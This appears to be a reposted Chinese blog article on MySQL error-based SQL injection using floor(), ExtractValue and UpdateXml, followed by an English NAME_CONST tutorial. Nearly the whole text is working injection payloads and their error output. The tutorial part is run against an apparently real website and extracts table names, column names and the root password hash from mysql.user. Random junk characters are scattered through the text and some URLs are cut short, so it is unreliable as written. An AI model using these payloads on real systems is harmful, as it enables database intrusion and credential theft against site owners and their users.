mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
3 i8 H# g1 a+ [7 a: d| id | title | content |
7 t. l8 u8 F. o: r0 ^. o/ ?6 R+—-+——-+———+
6 m! O9 o9 g& }|  1 | test  | do it   |
% U0 d3 v5 R. s+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
) {$ y, m) ?2 A% O6 ]ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
& X) \/ l. [2 H# n: e0 ^! E' N6 h# wERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

5 t1 e* @. {4 l

再收集：

- t9 X. r, J: L/ Zhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
- q! z* G  L' M" w$ p
3 q* I; n- U) f! D8 Q) tErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
% X" p- `3 @8 P, U
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
5 O% }& K( C) O4 Z! q  V" y
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
" T: N+ T0 L5 }( L/ B2 q7 P* Y
MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
, j: W  |% G6 ]. x2 c2 i

相关信息
' c9 t7 g$ @# Q
1 Y- V) Q$ B+ g1 pNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

$ w9 o5 K0 o" I0 a1 ?" qCode:
5 t  {( I. Q7 F5 z( }" {NAME_CONST(DATA, VALUE)
6 e: N3 _% t; n4 q: H2 s& b
, [+ _/ d) `. v' gReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
9 D6 u: ^( I# C2 c! _8 k
SELECT NAME_CONST('TEST', 1)
% s$ ?$ n/ h1 a  A! L


|---------------|
' [, K1 N5 w* L|     TEST      |
|               |
|---------------|
! Z% s2 |2 Y6 w' ?/ [|       1       |
|               |
: s- |! o8 d' [5 q|---------------|

# n# l. B$ ]; y+ _% v' k0 U# `
) ^" U; g7 s) _/ o) w
7 X7 T* p1 N. X$ ^. k% q
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
! u7 F7 y8 k1 B/ b/ }; w; QIntro to MySQL Variables

& N0 n5 g  ]  y9 I& `) d0 gOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
8 `, D0 C( t7 o3 m, F
, P  Z" Y& G3 E" T6 ~Code:
! U! _8 @3 Q$ O' h8 Ahttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
  x1 n* |5 T# r! D1 d$ r0 H+ M




+ Q+ a# Q5 ]$ X7 P0 ECode:
- N4 X- F' ~3 N' V4 k0 Zand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


VAR = Your MySQL variable.

, }8 l8 c$ E$ U5 x  lMySQL 5.1.3 Server System Variables
. z. }/ S$ o4 Z. s7 ?
9 I: K; p; L* k" n) t+ \' B1 P% tLet's try it out on my site..
7 W) A, Q* G( F4 @& ~5 d/ u# _
5 a- x* p) ?/ F7 U7 R5 P5 K9 M" kCode:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
8 g6 O. b: c2 r( e
* s: u5 M  w% P& `7 I9 P, HErroruplicate column name '5.0.27-community-nt'


5 w7 k; ^: u# \1 @; u- G8 G6 H

3 d& d2 a' z' ?! e! A+ s! Z* c
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
4 J/ v% j( {, @5 Y3 t/ I/ o
- p+ l3 o' Q  u) n5 c- [% OData Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
& ^, @- X+ x1 `! N$ u8 k/ Z: O9 z

& I* J$ G7 z: {( v' V( ]We should get a duplicate column 1 error...

Code:
9 W, b; m1 Z& P/ u1 jhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1


) D0 I6 E8 h& D8 Z7 a


* N" o; W: ?8 H, C8 t& L
Now let's get the tables out this bitch..

0 ?" ?3 [( p8 h+ A7 g) xCode:
5 Q  f; m  u: z- l$ p- i: ?) C+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

4 x3 {. H+ O' ]6 F$ ~$ q, Q
4 Z0 D- T* }4 JLet's see if it works here, if it does, we can go on and finish the job.

Code:
3 A! b6 \  L1 G# I+ N7 m6 v7 jhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


( Y9 ^3 K9 U$ B! n* z/ \Erroruplicate column name 'com_admanage

; b( T+ A6 F* h7 ~" ^( B6 _4 m' s


( j3 W3 Q: B% u

Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
6 Z4 m6 h& a) O- r
! y2 S) f' w0 @" _: H; s- l" pLet's get the columns out of the user table..

! }( b; X- Z* h1 x1 S$ T* l& C2 l! bCode:
9 h9 F9 k9 c% R" U: N) [2 V! X+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
5 q" P% s6 a1 @

$ T' ^: R$ W2 M9 y. a- v, rSo mine looks like this, and I get the duplicate column name 'Host'.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
6 O8 s) N2 n, O, f4 a' w
8 e$ B/ H( A% A: @! p. p; ?4 gErroruplicate column name 'Host'
& ?" G/ n) W3 j8 E2 G) O
6 |& |' q9 _$ y% l% f' s/ O

$ N$ }* l% R3 s3 t


Woot, time to finish this bitch off.

$ ?8 n; s: _( d5 VCode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

. Q3 A8 ~* @6 v4 D
So mine looks like this...

8 W* F1 u0 v8 U9 R9 ^Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
+ A, s8 c5 r) r& e: l
0 p9 q/ M( z6 e3 {Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

+ ~" P/ r- v* L
& ]. ^% L5 ^$ Q- I" G
2 L  A5 x: V+ f% K* U, c) w+ n


And there we have it, thanks for reading.
9 R6 A4 M6 M4 t( A7 V